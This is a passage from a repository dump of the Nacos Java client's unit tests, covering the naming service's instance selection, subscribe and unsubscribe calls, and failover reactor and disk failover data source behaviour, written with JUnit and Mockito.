testSelectInstancesWithFullNameAndClustersNotSubscribe() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        final String groupName = \"group1\";\n        //when\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setName(serviceName);\n        serviceInfo.addHost(mockInstance(\"cluster1\", true));\n        serviceInfo.addHost(mockInstance(\"cluster1\", false));\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        when(proxy.queryInstancesOfService(serviceName, groupName, \"cluster1,cluster2\", false)).thenReturn(serviceInfo);\n        List<Instance> result = client.selectInstances(serviceName, groupName, clusterList, true, false);\n        //then\n        assertEquals(1, result.size());\n        assertEquals(serviceInfo.getHosts().get(0), result.get(0));\n    }\n    \n    @Test\n    void testSelectInstancesWithHealthyFlag() throws NacosException {\n        //given\n        Instance healthyInstance = new Instance();\n        healthyInstance.setHealthy(true);\n        \n        Instance instance1 = new Instance();\n        instance1.setHealthy(false);\n        \n        Instance instance2 = new Instance();\n        instance2.setHealthy(true);\n        instance2.setEnabled(false);\n        Instance instance3 = new Instance();\n        instance3.setHealthy(true);\n        instance3.setWeight(0.0);\n        \n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(healthyInstance);\n        hosts.add(instance1);\n        hosts.add(instance2);\n        hosts.add(instance3);\n        \n        ServiceInfo info = new ServiceInfo();\n        info.setHosts(hosts);\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        when(proxy.queryInstancesOfService(serviceName, groupName, \"cluster1,cluster2\", false)).thenReturn(info);\n        \n        //when\n        List<Instance> instances = client.selectInstances(serviceName, groupName, clusterList, true, false);\n        //then\n        assertEquals(1, instances.size());\n        assertSame(healthyInstance, instances.get(0));\n    }\n    \n    @Test\n    void testSelectOneHealthyInstanceOnlyService() throws NacosException {\n        //given\n        ServiceInfo infoWithHealthyInstance = new ServiceInfo();\n        infoWithHealthyInstance.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.subscribe(anyString(), anyString(), anyString())).thenReturn(infoWithHealthyInstance);\n        \n        String serviceName = \"service1\";\n        //when\n        Instance instance = client.selectOneHealthyInstance(serviceName);\n        //then\n        assertNotNull(instance);\n    }\n    \n    @Test\n    void testSelectOneHealthyInstanceFullName() throws NacosException {\n        //given\n        ServiceInfo infoWithHealthyInstance = new ServiceInfo();\n        infoWithHealthyInstance.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.subscribe(anyString(), anyString(), anyString())).thenReturn(infoWithHealthyInstance);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        Instance instance = client.selectOneHealthyInstance(serviceName, groupName);\n        //then\n        assertNotNull(instance);\n    }\n    \n    @Test\n    void testSelectOneHealthyInstanceOnlyServiceNotSubscribe() throws NacosException {\n        //given\n        ServiceInfo infoWithHealthyInstance = new ServiceInfo();\n        infoWithHealthyInstance.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.queryInstancesOfService(anyString(), anyString(), anyString(), anyBoolean())).thenReturn(\n                infoWithHealthyInstance);\n        \n        String serviceName = \"service1\";\n        //when\n        Instance instance = client.selectOneHealthyInstance(serviceName, false);\n        //then\n        assertNotNull(instance);\n    }\n    \n    @Test\n    void testSelectOneHealthyInstanceFullNameNotSubscribe() throws NacosException {\n        //given\n        ServiceInfo infoWithHealthyInstance = new ServiceInfo();\n        infoWithHealthyInstance.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.queryInstancesOfService(anyString(), anyString(), anyString(), anyBoolean())).thenReturn(\n                infoWithHealthyInstance);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        Instance instance = client.selectOneHealthyInstance(serviceName, groupName, false);\n        //then\n        assertNotNull(instance);\n        \n    }\n    \n    @Test\n    void testSelectOneHealthyInstanceWithServiceAndClusters() throws NacosException {\n        //given\n        ServiceInfo infoWithHealthyInstance = new ServiceInfo();\n        infoWithHealthyInstance.addHost(mockInstance(\"cluster1\", true));\n        infoWithHealthyInstance.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        String serviceName = \"service1\";\n        when(proxy.subscribe(serviceName, Constants.DEFAULT_GROUP, StringUtils.EMPTY)).thenReturn(\n                infoWithHealthyInstance);\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        //when\n        Instance instance = client.selectOneHealthyInstance(serviceName, clusterList);\n        //then\n        assertNotNull(instance);\n        assertEquals(\"cluster1\", instance.getClusterName());\n    }\n    \n    @Test\n    void testSelectOneHealthyInstanceWithFullNameAndClusters() throws NacosException {\n        //given\n        ServiceInfo infoWithHealthyInstance = new ServiceInfo();\n        infoWithHealthyInstance.addHost(mockInstance(\"cluster1\", true));\n        infoWithHealthyInstance.addHost(mockInstance(Constants.DEFAULT_CLUSTER_NAME, true));\n        when(proxy.subscribe(anyString(), anyString(), anyString())).thenReturn(infoWithHealthyInstance);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        //when\n        Instance instance = client.selectOneHealthyInstance(serviceName, groupName, clusterList);\n        //then\n        assertNotNull(instance);\n        assertEquals(\"cluster1\", instance.getClusterName());\n    }\n    \n    @Test\n    void testSelectOneHealthyInstanceWithServiceAndClustersNotSubscribe() throws NacosException {\n        //given\n        ServiceInfo infoWithHealthyInstance = new ServiceInfo();\n        infoWithHealthyInstance.addHost(mockInstance(\"cluster1\", true));\n        when(proxy.queryInstancesOfService(anyString(), anyString(), anyString(), anyBoolean())).thenReturn(\n                infoWithHealthyInstance);\n        \n        String serviceName = \"service1\";\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        //when\n        Instance instance = client.selectOneHealthyInstance(serviceName, clusterList, false);\n        //then\n        assertNotNull(instance);\n        assertEquals(\"cluster1\", instance.getClusterName());\n    }\n    \n    @Test\n    void testSelectOneHealthyInstanceWithFullNameAndClustersNotSubscribe() throws NacosException {\n        //given\n        ServiceInfo infoWithHealthyInstance = new ServiceInfo();\n        infoWithHealthyInstance.addHost(mockInstance(\"cluster1\", true));\n        when(proxy.queryInstancesOfService(anyString(), anyString(), anyString(), anyBoolean())).thenReturn(\n                infoWithHealthyInstance);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        //when\n        Instance instance = client.selectOneHealthyInstance(serviceName, groupName, clusterList, false);\n        //then\n        assertNotNull(instance);\n        assertEquals(\"cluster1\", instance.getClusterName());\n    }\n    \n    @Test\n    void testSubscribeOnlyService() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        EventListener listener = event -> {\n        \n        };\n        //when\n        client.subscribe(serviceName, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(serviceName, Constants.DEFAULT_GROUP, Constants.NULL,\n                NamingSelectorFactory.newClusterSelector(Collections.emptyList()), listener);\n        //then\n        verify(changeNotifier, times(1)).registerListener(Constants.DEFAULT_GROUP, serviceName, wrapper);\n        verify(proxy, times(1)).subscribe(serviceName, Constants.DEFAULT_GROUP, \"\");\n    }\n    \n    @Test\n    void testSubscribeFullName() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        EventListener listener = event -> {\n        \n        };\n        //when\n        client.subscribe(serviceName, groupName, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(serviceName, groupName, Constants.NULL,\n                NamingSelectorFactory.newClusterSelector(Collections.emptyList()), listener);\n        //then\n        verify(changeNotifier, times(1)).registerListener(groupName, serviceName, wrapper);\n        verify(proxy, times(1)).subscribe(serviceName, groupName, \"\");\n    }\n    \n    @Test\n    void testSubscribeWithServiceAndClusters() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        EventListener listener = event -> {\n        \n        };\n        //when\n        client.subscribe(serviceName, clusterList, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(serviceName, Constants.DEFAULT_GROUP, Constants.NULL,\n                NamingSelectorFactory.newClusterSelector(clusterList), listener);\n        //then\n        verify(changeNotifier, times(1)).registerListener(Constants.DEFAULT_GROUP, serviceName, wrapper);\n        verify(proxy, times(1)).subscribe(serviceName, Constants.DEFAULT_GROUP, Constants.NULL);\n    }\n    \n    @Test\n    void testSubscribeWithFullNameAndClusters() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        EventListener listener = event -> {\n        \n        };\n        //when\n        client.subscribe(serviceName, groupName, clusterList, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(serviceName, groupName,\n                getUniqueClusterString(clusterList), NamingSelectorFactory.newClusterSelector(clusterList), listener);\n        //then\n        verify(changeNotifier, times(1)).registerListener(groupName, serviceName, wrapper);\n        verify(proxy, times(1)).subscribe(serviceName, groupName, Constants.NULL);\n    }\n    \n    @Test\n    public void testSubscribeWithServiceAndCustomSelector() throws NacosException {\n        String serviceName = \"service1\";\n        EventListener listener = event -> {\n        \n        };\n        //when\n        client.subscribe(serviceName, NamingSelectorFactory.HEALTHY_SELECTOR, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(serviceName, Constants.DEFAULT_GROUP, Constants.NULL,\n                NamingSelectorFactory.HEALTHY_SELECTOR, listener);\n        //then\n        verify(changeNotifier, times(1)).registerListener(Constants.DEFAULT_GROUP, serviceName, wrapper);\n        verify(proxy, times(1)).subscribe(serviceName, Constants.DEFAULT_GROUP, Constants.NULL);\n    }\n    \n    @Test\n    public void testSubscribeWithFullNameAndCustomSelector() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        EventListener listener = event -> {\n        \n        };\n        //when\n        client.subscribe(serviceName, groupName, NamingSelectorFactory.HEALTHY_SELECTOR, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(serviceName, groupName, Constants.NULL,\n                NamingSelectorFactory.HEALTHY_SELECTOR, listener);\n        //then\n        verify(changeNotifier, times(1)).registerListener(groupName, serviceName, wrapper);\n        verify(proxy, times(1)).subscribe(serviceName, groupName, Constants.NULL);\n    }\n    \n    @Test\n    void testSubscribeWithNullListener() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        client.subscribe(serviceName, groupName, null);\n        //then\n        verify(changeNotifier, never()).registerListener(groupName, serviceName,\n                new NamingSelectorWrapper(NamingSelectorFactory.newIpSelector(\"\"), null));\n        verify(proxy, never()).subscribe(serviceName, groupName, \"\");\n        \n    }\n    \n    @Test\n    void testSubscribeDuplicate() throws NacosException {\n        String serviceName = \"service1\";\n        when(proxy.isSubscribed(serviceName, Constants.DEFAULT_GROUP, StringUtils.EMPTY)).thenReturn(true);\n        ServiceInfo serviceInfo = new ServiceInfo(Constants.DEFAULT_GROUP + \"@@\" + serviceName);\n        serviceInfo.addHost(new Instance());\n        when(serviceInfoHolder.getServiceInfo(serviceName, Constants.DEFAULT_GROUP)).thenReturn(serviceInfo);\n        final AtomicBoolean flag = new AtomicBoolean(false);\n        client.subscribe(serviceName, event -> flag.set(true));\n        assertTrue(flag.get());\n    }\n    \n    @Test\n    void testUnSubscribeOnlyService() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        EventListener listener = event -> {\n        \n        };\n        when(changeNotifier.isSubscribed(Constants.DEFAULT_GROUP, serviceName)).thenReturn(false);\n        //when\n        client.unsubscribe(serviceName, listener);\n        //then\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(\n                NamingSelectorFactory.newClusterSelector(Collections.emptyList()), listener);\n        verify(changeNotifier, times(1)).deregisterListener(Constants.DEFAULT_GROUP, serviceName, wrapper);\n        verify(proxy, times(1)).unsubscribe(serviceName, Constants.DEFAULT_GROUP, Constants.NULL);\n    }\n    \n    @Test\n    void testUnSubscribeFullName() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        EventListener listener = event -> {\n        \n        };\n        when(changeNotifier.isSubscribed(groupName, serviceName)).thenReturn(false);\n        \n        //when\n        client.unsubscribe(serviceName, groupName, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(\n                NamingSelectorFactory.newClusterSelector(Collections.emptyList()), listener);\n        //then\n        verify(changeNotifier, times(1)).deregisterListener(groupName, serviceName, wrapper);\n        verify(proxy, times(1)).unsubscribe(serviceName, groupName, Constants.NULL);\n    }\n    \n    @Test\n    void testUnSubscribeWithServiceAndClusters() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        EventListener listener = event -> {\n        \n        };\n        when(changeNotifier.isSubscribed(Constants.DEFAULT_GROUP, serviceName)).thenReturn(false);\n        \n        //when\n        client.unsubscribe(serviceName, clusterList, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(NamingSelectorFactory.newClusterSelector(clusterList),\n                listener);\n        //then\n        verify(changeNotifier, times(1)).deregisterListener(Constants.DEFAULT_GROUP, serviceName, wrapper);\n        verify(proxy, times(1)).unsubscribe(serviceName, Constants.DEFAULT_GROUP, Constants.NULL);\n    }\n    \n    @Test\n    void testUnSubscribeWithFullNameAndClusters() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        List<String> clusterList = Arrays.asList(\"cluster1\", \"cluster2\");\n        EventListener listener = event -> {\n        \n        };\n        when(changeNotifier.isSubscribed(groupName, serviceName)).thenReturn(false);\n        \n        //when\n        client.unsubscribe(serviceName, groupName, clusterList, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(NamingSelectorFactory.newClusterSelector(clusterList),\n                listener);\n        //then\n        verify(changeNotifier, times(1)).deregisterListener(groupName, serviceName, wrapper);\n        verify(proxy, times(1)).unsubscribe(serviceName, groupName, Constants.NULL);\n    }\n    \n    @Test\n    public void testUnSubscribeWithServiceAndCustomSelector() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        EventListener listener = event -> {\n        \n        };\n        when(changeNotifier.isSubscribed(Constants.DEFAULT_GROUP, serviceName)).thenReturn(false);\n        \n        //when\n        client.unsubscribe(serviceName, NamingSelectorFactory.HEALTHY_SELECTOR, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(NamingSelectorFactory.HEALTHY_SELECTOR, listener);\n        //then\n        verify(changeNotifier, times(1)).deregisterListener(Constants.DEFAULT_GROUP, serviceName, wrapper);\n        verify(proxy, times(1)).unsubscribe(serviceName, Constants.DEFAULT_GROUP, Constants.NULL);\n    }\n    \n    @Test\n    public void testUnSubscribeWithFullNameAndCustomSelector() throws NacosException {\n        //given\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        EventListener listener = event -> {\n        \n        };\n        when(changeNotifier.isSubscribed(groupName, serviceName)).thenReturn(false);\n        \n        //when\n        client.unsubscribe(serviceName, groupName, NamingSelectorFactory.HEALTHY_SELECTOR, listener);\n        NamingSelectorWrapper wrapper = new NamingSelectorWrapper(NamingSelectorFactory.HEALTHY_SELECTOR, listener);\n        //then\n        verify(changeNotifier, times(1)).deregisterListener(groupName, serviceName, wrapper);\n        verify(proxy, times(1)).unsubscribe(serviceName, groupName, Constants.NULL);\n    }\n    \n    @Test\n    void testUnSubscribeWithNullListener() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        //when\n        client.unsubscribe(serviceName, groupName, null);\n        //then\n        verify(changeNotifier, never()).deregisterListener(groupName, serviceName,\n                new NamingSelectorWrapper(NamingSelectorFactory.newIpSelector(\"\"), null));\n        verify(proxy, never()).unsubscribe(serviceName, groupName, \"\");\n        \n    }\n    \n    @Test\n    void testGetServicesOfServer1() throws NacosException {\n        //given\n        int pageNo = 1;\n        int pageSize = 10;\n        //when\n        client.getServicesOfServer(pageNo, pageSize);\n        //then\n        verify(proxy, times(1)).getServiceList(pageNo, pageSize, Constants.DEFAULT_GROUP, null);\n    }\n    \n    @Test\n    void testGetServicesOfServer2() throws NacosException {\n        //given\n        int pageNo = 1;\n        int pageSize = 10;\n        String groupName = \"group1\";\n        //when\n        client.getServicesOfServer(pageNo, pageSize, groupName);\n        //then\n        verify(proxy, times(1)).getServiceList(pageNo, pageSize, groupName, null);\n    }\n    \n    @Test\n    void testGetServicesOfServer3() throws NacosException {\n        //given\n        int pageNo = 1;\n        int pageSize = 10;\n        AbstractSelector selector = new AbstractSelector(\"aaa\") {\n            @Override\n            public String getType() {\n                return super.getType();\n            }\n        };\n        //when\n        client.getServicesOfServer(pageNo, pageSize, selector);\n        //then\n        verify(proxy, times(1)).getServiceList(pageNo, pageSize, Constants.DEFAULT_GROUP, selector);\n    }\n    \n    @Test\n    void testGetServicesOfServer4() throws NacosException {\n        //given\n        int pageNo = 1;\n        int pageSize = 10;\n        String groupName = \"group1\";\n        \n        AbstractSelector selector = new AbstractSelector(\"aaa\") {\n            @Override\n            public String getType() {\n                return super.getType();\n            }\n        };\n        //when\n        client.getServicesOfServer(pageNo, pageSize, groupName, selector);\n        //then\n        verify(proxy, times(1)).getServiceList(pageNo, pageSize, groupName, selector);\n    }\n    \n    @Test\n    void testGetSubscribeServices() {\n        //when\n        client.getSubscribeServices();\n        //then\n        verify(changeNotifier, times(1)).getSubscribeServices();\n    }\n    \n    @Test\n    void testGetServerStatus() {\n        //given\n        when(proxy.serverHealthy()).thenReturn(true);\n        //when\n        String serverStatus = client.getServerStatus();\n        //then\n        assertEquals(\"UP\", serverStatus);\n    }\n    \n    @Test\n    void testGetServerStatusFail() {\n        //given\n        when(proxy.serverHealthy()).thenReturn(false);\n        //when\n        String serverStatus = client.getServerStatus();\n        //then\n        assertEquals(\"DOWN\", serverStatus);\n    }\n    \n    @Test\n    void testShutDown() throws NacosException {\n        //when\n        client.shutDown();\n        //then\n        verify(proxy, times(1)).shutdown();\n    }\n    \n    @Test\n    void testConstructorWithServerList() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        NacosNamingService namingService = new NacosNamingService(\"localhost\");\n        try {\n            Field namespaceField = NacosNamingService.class.getDeclaredField(\"namespace\");\n            namespaceField.setAccessible(true);\n            String namespace = (String) namespaceField.get(namingService);\n            assertEquals(UtilAndComs.DEFAULT_NAMESPACE_ID, namespace);\n        } finally {\n            namingService.shutDown();\n        }\n    }\n    \n    private Instance mockInstance(String clusterName, boolean healthy) {\n        Instance instance = new Instance();\n        instance.setClusterName(clusterName);\n        instance.setHealthy(healthy);\n        return instance;\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/backups/FailoverReactorTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.backups;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.common.utils.ReflectUtils;\nimport io.micrometer.core.instrument.Gauge;\nimport io.micrometer.core.instrument.ImmutableTag;\nimport io.micrometer.core.instrument.Metrics;\nimport io.micrometer.core.instrument.Tag;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.UUID;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass FailoverReactorTest {\n    \n    @Mock\n    ServiceInfoHolder holder;\n    \n    @Mock\n    FailoverDataSource failoverDataSource;\n    \n    FailoverReactor failoverReactor;\n    \n    @BeforeEach\n    void setUp() throws NoSuchFieldException, IllegalAccessException {\n        failoverReactor = new FailoverReactor(holder, UUID.randomUUID().toString());\n        Field failoverDataSourceField = FailoverReactor.class.getDeclaredField(\"failoverDataSource\");\n        failoverDataSourceField.setAccessible(true);\n        failoverDataSourceField.set(failoverReactor, failoverDataSource);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        failoverReactor.shutdown();\n        Gauge gauge = Metrics.globalRegistry.find(\"nacos_naming_client_failover_instances\").tag(\"service_name\", \"g@@s1\")\n                .gauge();\n        if (gauge != null) {\n            Metrics.globalRegistry.remove(gauge);\n        }\n    }\n    \n    @Test\n    void testIsFailoverSwitch() throws NacosException {\n        assertFalse(failoverReactor.isFailoverSwitch());\n        \n    }\n    \n    @Test\n    void testGetService() throws NacosException {\n        ServiceInfo info = failoverReactor.getService(\"aa@@bb\");\n        assertEquals(new ServiceInfo(\"aa@@bb\").toString(), info.toString());\n    }\n    \n    @Test\n    void testRefreshFromDisabledToEnabled() throws InterruptedException {\n        // make sure the first no delay refresh thread finished.\n        TimeUnit.MILLISECONDS.sleep(500);\n        FailoverSwitch mockFailoverSwitch = new FailoverSwitch(true);\n        when(failoverDataSource.getSwitch()).thenReturn(mockFailoverSwitch);\n        Map<String, FailoverData> map = new HashMap<>();\n        ServiceInfo serviceInfo = new ServiceInfo(\"a@@b\");\n        serviceInfo.addHost(new Instance());\n        map.put(\"a@@b\", NamingFailoverData.newNamingFailoverData(serviceInfo));\n        when(failoverDataSource.getFailoverData()).thenReturn(map);\n        // waiting refresh thread work\n        TimeUnit.MILLISECONDS.sleep(5500);\n        ServiceInfo actual = failoverReactor.getService(\"a@@b\");\n        assertEquals(serviceInfo, actual);\n    }\n    \n    @Test\n    void testRefreshFromDisabledToEnabledWithException() throws InterruptedException {\n        // make sure the first no delay refresh thread finished.\n        TimeUnit.MILLISECONDS.sleep(500);\n        FailoverSwitch mockFailoverSwitch = new FailoverSwitch(true);\n        when(failoverDataSource.getSwitch()).thenReturn(mockFailoverSwitch);\n        when(failoverDataSource.getFailoverData()).thenReturn(null);\n        // waiting refresh thread work\n        TimeUnit.MILLISECONDS.sleep(5500);\n        assertTrue(((Map) ReflectUtils.getFieldValue(failoverReactor, \"serviceMap\", new HashMap<>())).isEmpty());\n    }\n    \n    @Test\n    void testRefreshFromEnabledToDisabled() throws InterruptedException, NoSuchFieldException, IllegalAccessException {\n        // make sure the first no delay refresh thread finished.\n        TimeUnit.MILLISECONDS.sleep(500);\n        FailoverSwitch mockFailoverSwitch = new FailoverSwitch(false);\n        when(failoverDataSource.getSwitch()).thenReturn(mockFailoverSwitch);\n        Field failoverSwitchEnableField = FailoverReactor.class.getDeclaredField(\"failoverSwitchEnable\");\n        failoverSwitchEnableField.setAccessible(true);\n        failoverSwitchEnableField.set(failoverReactor, true);\n        Map<String, ServiceInfo> map = new HashMap<>();\n        ServiceInfo serviceInfo = new ServiceInfo(\"a@@b\");\n        serviceInfo.addHost(new Instance());\n        map.put(\"a@@b\", serviceInfo);\n        when(holder.getServiceInfoMap()).thenReturn(map);\n        Field serviceMapField = FailoverReactor.class.getDeclaredField(\"serviceMap\");\n        serviceMapField.setAccessible(true);\n        serviceMapField.set(failoverReactor, map);\n        // waiting refresh thread work\n        TimeUnit.MILLISECONDS.sleep(5500);\n        ServiceInfo actual = failoverReactor.getService(\"a@@b\");\n        assertNotEquals(serviceInfo, actual);\n    }\n    \n    @Test\n    void testFailoverServiceCntMetrics()\n            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n        ((Map) ReflectUtils.getFieldValue(failoverReactor, \"serviceMap\", new HashMap<>())).put(\"g@@s1\",\n                new ServiceInfo());\n        Method method = FailoverReactor.class.getDeclaredMethod(\"failoverServiceCntMetrics\");\n        method.setAccessible(true);\n        method.invoke(failoverReactor);\n        // No exception\n    }\n    \n    @Test\n    void testFailoverServiceCntMetricsClear()\n            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {\n        String serviceName = \"g@@s1\";\n        List<Tag> tags = new ArrayList<>();\n        tags.add(new ImmutableTag(\"service_name\", serviceName));\n        Gauge.builder(\"nacos_naming_client_failover_instances\", () -> 1).tags(tags).register(Metrics.globalRegistry);\n        ((Map) ReflectUtils.getFieldValue(failoverReactor, \"serviceMap\", new HashMap<>())).put(serviceName,\n                new ServiceInfo());\n        Method method = FailoverReactor.class.getDeclaredMethod(\"failoverServiceCntMetricsClear\");\n        method.setAccessible(true);\n        method.invoke(failoverReactor);\n        // No exception\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/backups/datasource/DiskFailoverDataSourceTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.backups.datasource;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.naming.backups.FailoverData;\nimport com.alibaba.nacos.client.naming.backups.FailoverSwitch;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass DiskFailoverDataSourceTest {\n    \n    DiskFailoverDataSource dataSource;\n    \n    @BeforeEach\n    void setUp() {\n        dataSource = new DiskFailoverDataSource();\n    }\n    \n    @Test\n    void testGetSwitchWithNonExistFailoverSwitchFile() {\n        FailoverSwitch actual = dataSource.getSwitch();\n        assertFalse(actual.getEnabled());\n    }\n    \n    @Test\n    void testGetSwitchForFailoverDisabled() throws NoSuchFieldException, IllegalAccessException {\n        String dir = DiskFailoverDataSourceTest.class.getClassLoader().getResource(\"failover_test/disabled\").getPath();\n        injectFailOverDir(dir);\n        assertFalse(dataSource.getSwitch().getEnabled());\n        Map<String, FailoverData> actual = dataSource.getFailoverData();\n        assertTrue(actual.isEmpty());\n    }\n    \n    @Test\n    void testGetSwitchForFailoverEnabled() throws NoSuchFieldException, IllegalAccessException {\n        String dir = DiskFailoverDataSourceTest.class.getClassLoader().getResource(\"failover_test/enabled\").getPath();\n        injectFailOverDir(dir);\n        assertTrue(dataSource.getSwitch().getEnabled());\n        Map<String, FailoverData> actual = dataSource.getFailoverData();\n        assertEquals(1, actual.size());\n        assertTrue(actual.containsKey(\"legal@@with_name@@file\"));\n        assertEquals(FailoverData.DataType.naming, actual.get(\"legal@@with_name@@file\").getDataType());\n        assertEquals(\"1.1.1.1\",\n                ((ServiceInfo) actual.get(\"legal@@with_name@@file\").getData()).getHosts().get(0).getIp());\n    }\n    \n    @Test\n    void testGetFailoverDataForFailoverDisabled() {\n        Map<String, FailoverData> actual = dataSource.getFailoverData();\n        assertTrue(actual.isEmpty());\n    }\n    \n    private void injectFailOverDir(String failoverDir) throws NoSuchFieldException, IllegalAccessException {\n        Field failoverDirField = DiskFailoverDataSource.class.getDeclaredField(\"failoverDir\");\n        failoverDirField.setAccessible(true);\n        failoverDirField.set(dataSource, failoverDir);\n    }\n    \n    @Test\n    void testGetSwitchForFailoverEnabledKeep() throws NoSuchFieldException, IllegalAccessException {\n        String dir = DiskFailoverDataSourceTest.class.getClassLoader().getResource(\"failover_test/enabled\").getPath();\n        injectFailOverDir(dir);\n        assertTrue(dataSource.getSwitch().getEnabled());\n        assertTrue(dataSource.getSwitch().getEnabled());\n    }\n    \n    @Test\n    void testGetSwitchForFailoverDisabledKeep() throws NoSuchFieldException, IllegalAccessException {\n        String dir = DiskFailoverDataSourceTest.class.getClassLoader().getResource(\"failover_test/disabled\").getPath();\n        injectFailOverDir(dir);\n        assertFalse(dataSource.getSwitch().getEnabled());\n        assertFalse(dataSource.getSwitch().getEnabled());\n    }\n    \n    @Test\n    void testGetSwitchWithException() throws NoSuchFieldException, IllegalAccessException {\n        injectFailOverDir(\"invalid\\\\0path\");\n        assertFalse(dataSource.getSwitch().getEnabled());\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/cache/DiskCacheTest.java",
